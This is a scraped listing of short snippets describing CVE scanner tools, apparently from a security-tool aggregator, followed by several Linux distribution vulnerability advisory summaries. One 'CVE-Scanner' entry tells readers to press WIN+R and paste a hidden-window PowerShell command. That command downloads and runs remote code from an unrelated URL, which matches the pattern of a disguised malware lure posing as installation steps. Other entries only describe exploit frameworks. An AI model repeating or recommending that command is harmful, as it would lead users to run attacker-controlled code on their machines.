s4e-cve-scanner

Latest-CVE-Scanner 此API允许您扫描最新的公共漏洞与暴露（CVE）。 此代码为 Security For Everyone 用户编写。您可以在 https://securityforeveryone.com/user/register 注册，进行免费扫描。 在开始之前，有几点需要了解： root@kitploit: 1. 为了继续向所有人提供免费服务，我们的基础套餐成员每天只能进行有限次数（目前为10次）的请求。所有API请求计数在UTC+0时间00:00重置。我们正在努力将此限制尽可能提高。 2. 登录后，您可以从设置页面获取您的API Token值。 3...

nGixshell

nGixShell es un escáner de CVE de nginx y un framework de explotación RCE. Incluye una prueba de concepto funcional para CVE-2026-42945 — un desbordamiento crítico de heap buffer en ngxhttprewritemodule — y un escáner que cubre 53 CVEs de nginx con sondas HTTP automatizadas, huella digital,...

fleet-cve-scanner

fleet-cve-scanner 一个轻量开源、单脚本的CVE扫描器，专为RMM管理的设备集群而设计。纯PowerShell 7，无需代理、无需设备、无需许可费用。 对于您管理的每台终端上的每款软件，它只回答一个问题：已安装的版本是否已知存在漏洞，以及紧急程度如何？ —— 通过将RMM的软件清单与免费、权威的安全数据源进行关联： NIST NVD —— 已知CVE及受影响的版本范围 CISA KEV —— 实际在野外被利用（绕过评分阈值） EPSS —— 未来30天内被利用的概率 CISA SSVC —— 操作/关注/跟踪优先级决策 MSRC —— 证明微软补丁已覆盖该发现...

vamp-forticheck

vamp-forticheck 多厂商边缘设备 CVE 扫描器 — VampSecure Labs 概述 vamp-forticheck 是一个异步、非破坏性安全扫描器，可检测七大主流网络安全厂商的 CVE 漏洞。它执行结构化的三阶段分析： 1. 被动检测 — 从 HTTP 响应头、横幅和登录页工件中识别厂商和固件版本指纹，而无需触发认证。 2. 半主动 CVE 探测 — 通过目标性 HTTP 请求确认特定漏洞条件，包括版本披露、路径遍历和预认证 RCE 指标。 3. 次级暴露分析 — 检查同一主机上暴露的管理界面、管理 API 和凭据泄露端点。 覆盖范围涵盖 7 家厂商的 16 个 C...

CVE-Scanner

CVE-Scanner Escáner y explotador de CVE-2021-42287/CVE-2021-42278/OTRO. Instalación 1. Presiona WIN + R 2. Copia y pega el siguiente código y presiona Enter root@kitploit: powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3...

cve-scanner

OpenClaw 的 CVE 扫描器 版本： 1.0.0 作者： Simon（自主幕僚长） 许可证： MIT 发布时间： 2026 年 3 月 22 日 类别： 安全、工具 摘要 适用于 OpenClaw 的零依赖 CVE 扫描器。对照 522+ 个已知漏洞检查您的版本，推荐更新，显示近期 HIGH 严重级别的 CVE。100% 本地运行，零外部调用，安全优先设计。 存在原因： OpenClaw 安全危机（2026 年 3 月）——发现 522+ 个 CVE，每周持续披露。此技能帮助您保持安全。 功能 ✅ 版本检查 — 检测您的 OpenClaw 版本 ✅ 漏洞数据库 — 跟踪 522+...

CVE-2024-6387

OpenSSH CVE 扫描器 OpenSSH CVE 扫描器是一个 Python 脚本，旨在根据目标主机的 OpenSSH 版本扫描 SSH 目标是否存在漏洞。它利用线程进行并发扫描，并集成了带彩色输出的日志功能以获得更好的可视性。 功能特性 多线程扫描： 利用线程并发扫描多个目标，提高效率。 CVE 漏洞检测： 将 SSH 版本与预定义的 CVE 漏洞列表进行比对，判断版本是否易受攻击。 日志与输出： 将扫描结果记录到文件（scan.log），并可选择将易受攻击的目标保存到输出文件。 彩色输出： 使用 Colorama 和 Coloredlogs 提供彩色终端输出，清晰指示状态。...

Symfony-CVE-Scanner-PoC-

Symfony Vulnerability Scanner 自动扫描工具，用于检测暴露在互联网上的 Symfony 应用程序中的多个已知漏洞 CVE。 由 m10sec 开发。 特性 🔍 检测 Symfony 中的多个漏洞 : Symfony 漏洞验证 ✅ 实际利用验证（例如：读取 /etc/passwd） 🔀 单个或完整扫描选项 💻 使用 socket 绕过 CRLF 注入中的过滤器 🧩 模块化且易于扩展 🧪 被动与主动检测 要求 Python 3.7 或更高版本 库： requests argparse re 可选 termcolor 用于彩色输出 安装 root@kitploit:...

CVE-Scanner

CVE-Scanner 🔍 CVE-Scanner es una herramienta diseñada para escanear y explotar vulnerabilidades asociadas con CVE-2021-42287, CVE-2021-42278 y otros problemas de seguridad. Este proyecto tiene como objetivo proporcionar a profesionales e investigadores de seguridad un método sencillo para...

CentOS 7 : qemu-kvm (CESA-2019:1178) (MDSUM/RIDL) (MFBDS/RIDL/ZombieLoad) (MLPDS/RIDL) (MSBDS/Fallout)

An update for qemu-kvm is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from...

RHEL 7 : freeradius (RHSA-2017:2389)

The remote Redhat Enterprise Linux 7 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2017:2389 advisory. FreeRADIUS is a high-performance and highly configurable free Remote Authentication Dial In User Service RADIUS server, designed to allow...

CentOS 6 : wireshark (CESA-2017:0631)

An update for wireshark is now available for Red Hat Enterprise Linux 6. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from...

Amazon Linux AMI : perl-libwww-perl (ALAS-2011-17)

The Net::HTTPS module in libwww-perl LWP before 6.00, as used in WWW::Mechanize, LWP::UserAgent, and other products, when running in environments that do not set the If-SSL-Cert-Subject header, does not enable full validation of SSL certificates by default, which allows remote attackers to spoof...

Amazon Linux AMI : php (ALAS-2011-07)

The MITRE CVE database describes these CVEs as : Revert isa behavior to php = 5.3.6 and add a new new option allowstring for the new behavior accept string and raise autoload if needed Use-after-free vulnerability in the substrreplace function in PHP 5.3.6 and earlier allows context-dependent...

openSUSE Security Update : flash-player (openSUSE-SU-2010:0321-1)

This Flash Player update fixes multiple critical security vulnerabilities which allow an attacker to remotely execute arbitrary code or to cause a denial of service. The following CVE numbers have been assigned : CVE-2008-4546, CVE-2009-3793, CVE-2010-1297, CVE-2010-2160, CVE-2010-2161,...